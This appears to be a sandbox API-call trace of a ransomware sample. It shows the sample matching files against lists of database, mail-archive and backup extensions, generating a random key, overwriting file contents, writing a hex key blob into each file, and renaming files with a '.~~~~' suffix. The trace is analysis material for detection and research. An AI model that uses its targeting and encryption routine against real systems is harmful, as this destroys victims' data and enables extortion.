	[0142.557] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF", lpSrch=".CKP") returned 0x0
	[0142.557] lstrlenW (lpString=".edb") returned 4
	[0142.557] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF", lpSrch=".edb") returned 0x0
	[0142.557] lstrlenW (lpString=".PST") returned 4
	[0142.557] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF", lpSrch=".PST") returned 0x0
	[0142.557] lstrlenW (lpString=".dbf") returned 4
	[0142.557] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF", lpSrch=".dbf") returned 0x0
	[0142.557] lstrlenW (lpString=".SQL") returned 4
	[0142.557] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF", lpSrch=".SQL") returned 0x0
	[0142.557] lstrlenW (lpString=".pst") returned 4
	[0142.557] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF", lpSrch=".pst") returned 0x0
	[0142.557] lstrlenW (lpString=".dbv") returned 4
	[0142.557] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF", lpSrch=".dbv") returned 0x0
	[0142.557] lstrlenW (lpString=".SDF") returned 4
	[0142.557] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF", lpSrch=".SDF") returned 0x0
	[0142.557] lstrlenW (lpString=".dtxs") returned 5
	[0142.557] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF", lpSrch=".dtxs") returned 0x0
	[0142.557] lstrlenW (lpString=".db3") returned 4
	[0142.557] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF", lpSrch=".db3") returned 0x0
	[0142.557] lstrlenW (lpString=".OST") returned 4
	[0142.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF", lpSrch=".OST") returned 0x0
	[0142.558] lstrlenW (lpString=".dbx") returned 4
	[0142.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF", lpSrch=".dbx") returned 0x0
	[0142.558] lstrlenW (lpString=".DB3") returned 4
	[0142.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF", lpSrch=".DB3") returned 0x0
	[0142.558] lstrlenW (lpString=".DAT") returned 4
	[0142.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF", lpSrch=".DAT") returned 0x0
	[0142.558] lstrlenW (lpString=".VHDX") returned 5
	[0142.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF", lpSrch=".VHDX") returned 0x0
	[0142.558] lstrlenW (lpString=".ndf") returned 4
	[0142.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF", lpSrch=".ndf") returned 0x0
	[0142.558] lstrlenW (lpString=".DB") returned 3
	[0142.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF", lpSrch=".DB") returned 0x0
	[0142.558] lstrlenW (lpString=".sql") returned 4
	[0142.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF", lpSrch=".sql") returned 0x0
	[0142.558] lstrlenW (lpString=".MYD") returned 4
	[0142.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF", lpSrch=".MYD") returned 0x0
	[0142.558] lstrlenW (lpString=".DBT") returned 4
	[0142.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF", lpSrch=".DBT") returned 0x0
	[0142.558] lstrlenW (lpString=".ACCDB") returned 6
	[0142.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF", lpSrch=".ACCDB") returned 0x0
	[0142.558] lstrlenW (lpString=".fdb") returned 4
	[0142.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF", lpSrch=".fdb") returned 0x0
	[0142.558] lstrlenW (lpString=".bak") returned 4
	[0142.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF", lpSrch=".bak") returned 0x0
	[0142.558] lstrlenW (lpString=".myd") returned 4
	[0142.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF", lpSrch=".myd") returned 0x0
	[0142.559] lstrlenW (lpString=".DTXS") returned 5
	[0142.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF", lpSrch=".DTXS") returned 0x0
	[0142.559] lstrlenW (lpString=".ckp") returned 4
	[0142.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF", lpSrch=".ckp") returned 0x0
	[0142.559] lstrlenW (lpString=".dbt") returned 4
	[0142.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF", lpSrch=".dbt") returned 0x0
	[0142.559] lstrlenW (lpString=".db") returned 3
	[0142.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF", lpSrch=".db") returned 0x0
	[0142.559] lstrlenW (lpString=".TXT") returned 4
	[0142.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF", lpSrch=".TXT") returned 0x0
	[0142.559] lstrlenW (lpString=".MDF") returned 4
	[0142.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF", lpSrch=".MDF") returned 0x0
	[0142.559] lstrlenW (lpString=".bdb") returned 4
	[0142.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF", lpSrch=".bdb") returned 0x0
	[0142.559] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0142.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0142.559] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0142.559] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0142.559] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394b08) returned 1
	[0142.560] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0142.560] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0142.561] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0142.561] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0142.561] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0142.561] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=26255099098) returned 1
	[0142.561] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbe5fafb0, dwHighDateTime=0x1d60e1e)) 
	[0142.561] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0142.561] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0142.561] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0142.561] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27faa18
	[0142.561] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0142.561] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27faa18 | out: hHeap=0x300000) returned 1
	[0142.561] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0142.561] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0142.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a9de0
	[0142.562] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0142.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0c98
	[0142.562] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a9de0 | out: hHeap=0x300000) returned 1
	[0142.562] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0142.562] GetLastError () returned 0x0
	[0142.562] GetLastError () returned 0x0
	[0142.562] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0142.562] GetLastError () returned 0x0
	[0142.563] GetLastError () returned 0x0
	[0142.563] ReadFile (in: hFile=0x138, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x25dfec0*=0x1983, lpOverlapped=0x0) returned 1
	[0142.567] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffe67d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0142.567] WriteFile (in: hFile=0x138, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x1983, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0x1983, lpOverlapped=0x0) returned 1
	[0142.567] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0142.567] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0142.567] WriteFile (in: hFile=0x138, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0142.567] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0142.567] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0142.567] CloseHandle (hObject=0x138) returned 1
	[0142.567] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a9de0
	[0142.568] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir22f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir22f.gif.~~~~")) returned 1
	[0142.570] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a9de0 | out: hHeap=0x300000) returned 1
	[0142.570] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0142.570] GetLastError () returned 0x0
	[0142.570] RtlWakeConditionVariable () returned 0x0
	[0142.570] GetCurrentThreadId () returned 0x9f4
	[0142.571] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF", lpSrch=".scr") returned 0x0
	[0142.571] lstrlenW (lpString=".cmd") returned 4
	[0142.571] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF", lpSrch=".cmd") returned 0x0
	[0142.571] lstrlenW (lpString=".dll") returned 4
	[0142.571] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF", lpSrch=".dll") returned 0x0
	[0142.571] lstrlenW (lpString=".bat") returned 4
	[0142.571] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF", lpSrch=".bat") returned 0x0
	[0142.571] lstrlenW (lpString=".cpl") returned 4
	[0142.571] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF", lpSrch=".cpl") returned 0x0
	[0142.571] lstrlenW (lpString=".sys") returned 4
	[0142.571] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF", lpSrch=".sys") returned 0x0
	[0142.571] lstrlenW (lpString=".msc") returned 4
	[0142.571] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF", lpSrch=".msc") returned 0x0
	[0142.571] lstrlenW (lpString=".com") returned 4
	[0142.571] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF", lpSrch=".com") returned 0x0
	[0142.571] lstrlenW (lpString=".lnk") returned 4
	[0142.571] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF", lpSrch=".lnk") returned 0x0
	[0142.571] lstrlenW (lpString=".msp") returned 4
	[0142.571] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF", lpSrch=".msp") returned 0x0
	[0142.571] lstrlenW (lpString=".pif") returned 4
	[0142.571] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF", lpSrch=".pif") returned 0x0
	[0142.571] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0142.571] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0142.571] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir25f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0142.574] lstrlenW (lpString=".sqb") returned 4
	[0142.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF", lpSrch=".sqb") returned 0x0
	[0142.574] lstrlenW (lpString=".ost") returned 4
	[0142.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF", lpSrch=".ost") returned 0x0
	[0142.574] lstrlenW (lpString=".txt") returned 4
	[0142.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF", lpSrch=".txt") returned 0x0
	[0142.574] lstrlenW (lpString=".mdt") returned 4
	[0142.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF", lpSrch=".mdt") returned 0x0
	[0142.574] lstrlenW (lpString=".BDB") returned 4
	[0142.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF", lpSrch=".BDB") returned 0x0
	[0142.574] lstrlenW (lpString=".eql") returned 4
	[0142.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF", lpSrch=".eql") returned 0x0
	[0142.574] lstrlenW (lpString=".DBF") returned 4
	[0142.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF", lpSrch=".DBF") returned 0x0
	[0142.574] lstrlenW (lpString=".EQL") returned 4
	[0142.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF", lpSrch=".EQL") returned 0x0
	[0142.574] lstrlenW (lpString=".FDB") returned 4
	[0142.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF", lpSrch=".FDB") returned 0x0
	[0142.574] lstrlenW (lpString=".EDB") returned 4
	[0142.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF", lpSrch=".EDB") returned 0x0
	[0142.574] lstrlenW (lpString=".DACPAC") returned 7
	[0142.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF", lpSrch=".DACPAC") returned 0x0
	[0142.574] lstrlenW (lpString=".VHD") returned 4
	[0142.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF", lpSrch=".VHD") returned 0x0
	[0142.574] lstrlenW (lpString=".DBV") returned 4
	[0142.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF", lpSrch=".DBV") returned 0x0
	[0142.575] lstrlenW (lpString=".dacpac") returned 7
	[0142.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF", lpSrch=".dacpac") returned 0x0
	[0142.575] lstrlenW (lpString=".sdf") returned 4
	[0142.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF", lpSrch=".sdf") returned 0x0
	[0142.575] lstrlenW (lpString=".accdb") returned 6
	[0142.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF", lpSrch=".accdb") returned 0x0
	[0142.575] lstrlenW (lpString=".DBX") returned 4
	[0142.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF", lpSrch=".DBX") returned 0x0
	[0142.575] lstrlenW (lpString=".MDT") returned 4
	[0142.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF", lpSrch=".MDT") returned 0x0
	[0142.575] lstrlenW (lpString=".SQB") returned 4
	[0142.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF", lpSrch=".SQB") returned 0x0
	[0142.575] lstrlenW (lpString=".vhd") returned 4
	[0142.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF", lpSrch=".vhd") returned 0x0
	[0142.575] lstrlenW (lpString=".bac") returned 4
	[0142.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF", lpSrch=".bac") returned 0x0
	[0142.575] lstrlenW (lpString=".mdf") returned 4
	[0142.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF", lpSrch=".mdf") returned 0x0
	[0142.575] lstrlenW (lpString=".BAK") returned 4
	[0142.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF", lpSrch=".BAK") returned 0x0
	[0142.575] lstrlenW (lpString=".BAC") returned 4
	[0142.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF", lpSrch=".BAC") returned 0x0
	[0142.575] lstrlenW (lpString=".dbs") returned 4
	[0142.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF", lpSrch=".dbs") returned 0x0
	[0142.575] lstrlenW (lpString=".vhdx") returned 5
	[0142.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF", lpSrch=".vhdx") returned 0x0
	[0142.576] lstrlenW (lpString=".NDF") returned 4
	[0142.576] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF", lpSrch=".NDF") returned 0x0
	[0142.576] lstrlenW (lpString=".dat") returned 4
	[0142.576] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF", lpSrch=".dat") returned 0x0
	[0142.576] lstrlenW (lpString=".DBS") returned 4
	[0142.576] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF", lpSrch=".DBS") returned 0x0
	[0142.576] lstrlenW (lpString=".CKP") returned 4
	[0142.576] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF", lpSrch=".CKP") returned 0x0
	[0142.576] lstrlenW (lpString=".edb") returned 4
	[0142.576] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF", lpSrch=".edb") returned 0x0
	[0142.576] lstrlenW (lpString=".PST") returned 4
	[0142.576] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF", lpSrch=".PST") returned 0x0
	[0142.576] lstrlenW (lpString=".dbf") returned 4
	[0142.576] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF", lpSrch=".dbf") returned 0x0
	[0142.576] lstrlenW (lpString=".SQL") returned 4
	[0142.576] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF", lpSrch=".SQL") returned 0x0
	[0142.576] lstrlenW (lpString=".pst") returned 4
	[0142.576] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF", lpSrch=".pst") returned 0x0
	[0142.576] lstrlenW (lpString=".dbv") returned 4
	[0142.576] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF", lpSrch=".dbv") returned 0x0
	[0142.576] lstrlenW (lpString=".SDF") returned 4
	[0142.576] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF", lpSrch=".SDF") returned 0x0
	[0142.576] lstrlenW (lpString=".dtxs") returned 5
	[0142.576] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF", lpSrch=".dtxs") returned 0x0
	[0142.576] lstrlenW (lpString=".db3") returned 4
	[0142.576] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF", lpSrch=".db3") returned 0x0
	[0142.577] lstrlenW (lpString=".OST") returned 4
	[0142.577] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF", lpSrch=".OST") returned 0x0
	[0142.577] lstrlenW (lpString=".dbx") returned 4
	[0142.686] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF", lpSrch=".dbx") returned 0x0
	[0142.686] lstrlenW (lpString=".DB3") returned 4
	[0142.686] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF", lpSrch=".DB3") returned 0x0
	[0142.686] lstrlenW (lpString=".DAT") returned 4
	[0142.686] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF", lpSrch=".DAT") returned 0x0
	[0142.686] lstrlenW (lpString=".VHDX") returned 5
	[0142.686] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF", lpSrch=".VHDX") returned 0x0
	[0142.686] lstrlenW (lpString=".ndf") returned 4
	[0142.686] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF", lpSrch=".ndf") returned 0x0
	[0142.687] lstrlenW (lpString=".DB") returned 3
	[0142.687] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF", lpSrch=".DB") returned 0x0
	[0142.687] lstrlenW (lpString=".sql") returned 4
	[0142.687] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF", lpSrch=".sql") returned 0x0
	[0142.687] lstrlenW (lpString=".MYD") returned 4
	[0142.687] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF", lpSrch=".MYD") returned 0x0
	[0142.687] lstrlenW (lpString=".DBT") returned 4
